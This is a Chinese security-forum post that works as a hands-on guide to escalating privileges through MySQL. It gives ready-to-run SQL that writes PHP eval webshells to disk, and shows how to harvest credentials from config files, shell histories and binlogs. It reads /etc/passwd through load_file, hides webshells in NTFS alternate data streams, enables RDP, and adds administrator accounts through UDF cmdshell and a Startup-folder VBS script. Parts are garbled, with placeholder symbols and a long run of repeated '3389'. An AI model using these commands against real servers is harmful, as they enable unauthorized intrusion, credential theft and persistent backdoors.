simeon / 2017-02-28 01:12:00 / 浏览数 4764 新手 入门资料 顶(0) 踩(0)

MySQL是一个中、小型关系型数据库管理系统,由瑞典MySQL

AB公司开发,目前属于Oracle公司。MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并分为商业版本(MySQL Enterprise Edition和 MySQL Cluster CGE)和GPL版本(MySQL Community

Edition),开发版下载地址: http://dev.mysql.com/downloads/。

- 1.1Mysql提权必备条件
- 1.服务器安装Mysql数据库

利用Mysql提权的前提就是服务器安装了mysql数据库,且mysql的服务没有降权,Mysql数据库默认安装以系统权限继承的,并且需要获取Mysql root账号密码。

2.判断Mysql服务运行权限

对于Mysql数据库服务运行权限有很多方法,我这里主要介绍三种,一种是通过查看系统账号,也即使用"net

user"命令查看系统当前账号,如果出现了mysql这类用户,以为着系统可能进行了降权,一般情况都不会降权。第二种方法就是看mysqld运行的Priority值,如图1所示。通 ",如果Mysqld的Priority值也为8则意味着Mysql是以System权限运行的。第三种方法是查看端口可否外联,一般情况下是不允许root等账号外链,外部直接连接意味着账

图1查看Priority值来判断Mysqld服务运行权限

- 1.2Mysql密码获取与破解
- 1.获取网站数据库账号和密码

对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码。例如以下代码:

```
$db['default']['hostname'] = 'localhost';
$db['default']['username'] = 'root';
$db['default']['password'] = '123456';
$db['default']['database'] = 'crm';
```

dedecms数据库安装的信息就是写在data/common.inc.php , Discuz的数据库信息就在config/config_global_default.php、config /config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。对于

对于Linux操作系统,除了上述方法获取root账号密码外,还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5. log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user ... identified by这样的携带初始明文密码的指令,那么会在binary log中原原本本的被还原出来,执行"mysqlbinlog binlog.000001"命令即可获取,如图2所示。

图2查看binlog日志

2.获取Mysql数据库user表

MYSQL所有设置默认都保存在"C:\Program Files\MYSQL\MYSQL Server

5.0\data\MYSQL"中,也就是安装程序的data目录下,有关用户一共有三个文件即user.frm、user.MYD和

user.MYI, MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下可以将User.frm、user.myd和User.myi三个文件下载到

3.Mysql密码查询

可以通过以下查询语句直接查询mysql数据库中的所有用户和密码,如图3所示。

```
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
```

图3Mysql密码查询

4.MySQL密码加密算法

MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示: password_str = concat('*', sha1(unhex(sha1(password)))) , 可以通过查询语句进行验证 , 查询结果如图4所示。

 $select\ password('mypassword'), concat('*', sha1(unhex(sha1('mypassword'))));$

图4mysql数据库加密算法

1.3Mysql获取webshell

Mysql root账号网站获取webshell具备的条件:

- 1.知道站点物理路径,网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。
- 2. 有足够大的权限,最好是root账号权限或者具备root权限的其它账号,可以用select user,password from mysql.user进行测试。
- 3. magic_quotes_gpc()=OFF。对于PHP

magic_quotes_gpc=on的情况,可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 对于PHP magic_quotes_gpc=off

的情况必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sqlì

4.直接导出webshell, 执行下面语句

```
Select '<?php eval($_POST[cmd])?>' into outfile '\delta \delta';
and 1=2 union all select \delta \de
```

也可以通过创建表来直接完成,其中d:/www/exehack.php为webshell的名称和路径:

```
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );

INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');

SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';

DROP TABLE IF EXISTS `darkmoon`;
```

5.有些情况下掌握了MSSQL数据库口令,但服务器环境是Windows2008,web环境是PHP,则可以通过SQLTOOLs工具,直接连接命令,通过以下命令写入shell:

- 1.4Mysql渗透有用的一些技巧总结
- 1.常见的有助于渗透到mysql函数

在对MySQL数据库架构的渗透中,MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息,而union select 1,1,1,1,load file('c:/boot.ini')"来获取boot.ini文件的内容。

(1)一些常见的系统配置文件

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif■■

// pcAnywhere

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

```
c:/Resin-3.0.14/conf/resin.conf // psp resin res
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD
LUNIX/UNIX ■:
/usr/local/app/apache2/conf/httpd.conf //apache2
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //
/usr/local/app/php5/lib/php.ini //PHP■■■■
/etc/sysconfig/iptables //
/etc/httpd/conf/httpd.conf // apache
/etc/rsyncd.conf //
/etc/my.cnf //mysql
/etc/redhat-release //■■■■
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP■■■■
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //
/etc/httpd/conf/httpd.conf■/usr/local/apche/conf/httpd.conf ■■linux APACHE■■■■■■■■
/usr/local/resin-3.0.22/conf/resin.conf ==3.0.22=RESIN=====
/usr/local/resin-pro-3.0.22/conf/resin.conf ■■
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE
/etc/httpd/conf/httpd.conf ■/usr/local/apche/conf /httpd.conf ■■linux APACHE■■■■■■■■
/usr/local/resin-3.0.22/conf/resin.conf ■■3.0.22■RESIN■■■■■■
/usr/local/resin-pro-3.0.22/conf/resin.conf ■■
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE
/etc/sysconfig/iptables ■■■■■■■
load_file(char(47)) ■■■■FreeBSD,Sunos■■■■■
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
 (2)直接读取配置文件
SELECT LOAD_FILE('/etc/passwd' )
  SELECT LOAD_FILE('/etc/issues' )
```

```
SELECT LOAD_FILE('/etc/etc/rc.local' )
 SELECT LOAD FILE('/usr/local/apache/conf/httpd.conf')
 SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
  (3) Linux下通过load file函数读出来的数据库有可能是hex编码,要正常查看需要使用NotePad将将以上代码全部选中,然后选择插件"Converter"-"HEX-ASCII"进行转
1. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell
NTFS中的ADS (交换数据流)可以建立目录,隐藏webshell等等。
(1) Mysql创建目录
当MySQL版本较高时,自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破:
select 'xxx' into outfile 'D:\mysql\lib::$INDEX_ALLOCATION';
会在mysql目录下生成一个lib目录,这样你就可以将你的udf放在这个插件目录下了。
(2)隐藏webshell
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg
这样子就生成了一个不可见的shell
a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,这样子就可以正常解析
 3.有用的一些技巧
 (1)3389端口命令行下获取总结
netstat -an |find "3389" 查看3389端口是否开放
tasklist /svc | find "TermService" 获取对应TermService的PID号
netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号
(2) Windows 2008Server命令行开启3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (CLASS != "") call setallowtsconnections
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenti
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
(3) wce64-w 命令直接获取系统明文登录密码
 (4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径
 (5) Linux终端提示符下查看mysql有关信息, ps -ef|grep mysql
 (6) Linux下启动mysql服务: service mysqld start
 (7) Linux下查看mysqld是否启动: ps -el | grep mysqld
 (8) 查看mysql在哪里: whereis mysql
 (9) 查询运行文件所在路径 which mysql
 (10) udf.dll提权常见函数
cmdshell Ecmd;
downloader DEM, DEMONSTRATE;
open3389
                   3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389, 3389
backshell ■■Shell;
ProcessView
```

```
KillProcess ■■■■■;
            ---;
regread
regwrite
            ■■ , ■■ , ■■ ;
shut
            ____;
about.
具体用户示例:
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');
 4.一些常见的Mysql命令
(1)连接到mysql服务器
 mysql -h 192.168.0.1 -u root -pantian365.com antian365
(2) 查看所有数据库
  show databases;
(3)使用某个数据库
  use testdatabase;
(4) 查看数据库中的所有表
 show tables;
(5)在test数据库下创建一个新的表
 create table a (cmd text);
(6)在表中插入内容添加用户命令
insert into a values ("set wshshell=createobject (""wscript.shell"") ");
nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) ");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) ");
(7) 查询a表中所有的数据
select * from a
(8)导出数据到系统某个目录下
select * from a into outfile "c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs";
(9)查询数据库数据路径
select @@datadir;
(10) 查看所有dir路径
SHOW VARIABLES WHERE Variable_Name LIKE "%dir"
(11) 查看插件路径
show variables like '%plugins%';
(12)查询MYSQL安装路径
select @@basedir
```

(13)常用内置函数 select system_user() select current_user() select user(); ■■■■ SELECT version() SELECT database() select @@version_compile_os ■■■■■■■■ select now(); ■■■■■■ (14)获取表结构 desc 表名 或者show columns from 表名 (15)删除表 drop table <表名> 参考文章: http://www.jb51.net/hack/41493.html http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/ http://www.myhack58.com/Article/html/3/8/2016/75694.htm $\underline{\text{http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html}}$ 点击收藏 | 2 关注 | 1 上一篇: PHP函数usort是咋回事?还能... 下一篇: MySQL数据库Root权限MOF... 1. 0 条回复 • 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板